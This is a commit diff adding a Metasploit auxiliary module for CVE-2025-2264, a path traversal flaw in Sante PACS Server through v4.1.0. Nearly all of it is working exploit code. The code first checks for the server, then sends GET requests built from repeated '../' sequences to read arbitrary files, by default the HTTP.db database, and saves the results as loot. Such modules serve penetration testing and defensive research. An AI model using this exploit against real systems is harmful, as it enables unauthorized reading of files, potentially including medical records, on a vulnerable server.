|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + include Msf::Auxiliary::Report |
| 9 | + prepend Msf::Exploit::Remote::AutoCheck |
| 10 | + CheckCode = Exploit::CheckCode |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Sante PACS Server Path Traversal (CVE-2025-2264)', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a path traversal vulnerability (CVE-2025-2264) in Sante PACS Server <= v4.1.0 to retrieve arbitrary files from the system. |
| 19 | + }, |
| 20 | + 'Author' => [ |
| 21 | + 'Michael Heinzl', # MSF Module |
| 22 | + 'Tenable' # Discovery and PoC |
| 23 | + ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => [ |
| 26 | + ['CVE', '2025-2264'], |
| 27 | + ['URL', 'https://www.tenable.com/security/research/tra-2025-08'] |
| 28 | + ], |
| 29 | + 'DisclosureDate' => '2025-03-13', |
| 30 | + 'DefaultOptions' => { |
| 31 | + 'RPORT' => 3000, |
| 32 | + 'SSL' => 'False' |
| 33 | + }, |
| 34 | + 'Notes' => { |
| 35 | + 'Stability' => [CRASH_SAFE], |
| 36 | + 'Reliability' => [], |
| 37 | + 'SideEffects' => [IOC_IN_LOGS] |
| 38 | + } |
| 39 | + ) |
| 40 | + ) |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + OptString.new('TARGETURI', [true, 'The base path for PACS Server', '/']), |
| 45 | + OptString.new('FILE', [false, 'The file path to read from the target system.', '/.HTTP/HTTP.db']), |
| 46 | + OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 3 ]) |
| 47 | + ] |
| 48 | + ) |
| 49 | + end |
| 50 | + |
| 51 | + def check |
| 52 | + begin |
| 53 | + res = send_request_cgi({ |
| 54 | + 'method' => 'GET', |
| 55 | + 'uri' => normalize_uri(target_uri.path, 'index.html') |
| 56 | + }) |
| 57 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 58 | + return CheckCode::Unknown('Connection failed') |
| 59 | + end |
| 60 | + |
| 61 | + if res&.code == 200 |
| 62 | + data = res.to_s |
| 63 | + if data.include?('Sante PACS Server PG') |
| 64 | + return CheckCode::Detected('Sante PACS Server PG seems to be running on the server.') |
| 65 | + end |
| 66 | + |
| 67 | + end |
| 68 | + return CheckCode::Safe |
| 69 | + end |
| 70 | + |
| 71 | + def run |
| 72 | + traversal = '../' * datastore['DEPTH'] + datastore['FILE'] |
| 73 | + traversal = traversal.gsub(%r{/+}, '/') |
| 74 | + |
| 75 | + res = send_request_cgi({ |
| 76 | + 'method' => 'GET', |
| 77 | + 'uri' => normalize_uri(target_uri.path, 'assets', traversal) |
| 78 | + }) |
| 79 | + |
| 80 | + fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res&.code != 200 |
| 81 | + print_good("File retrieved: #{target_uri.path}assets/#{traversal}") |
| 82 | + |
| 83 | + path = store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.') |
| 84 | + print_status("File saved as loot: #{path}") |
| 85 | + end |
| 86 | +end |
0 commit comments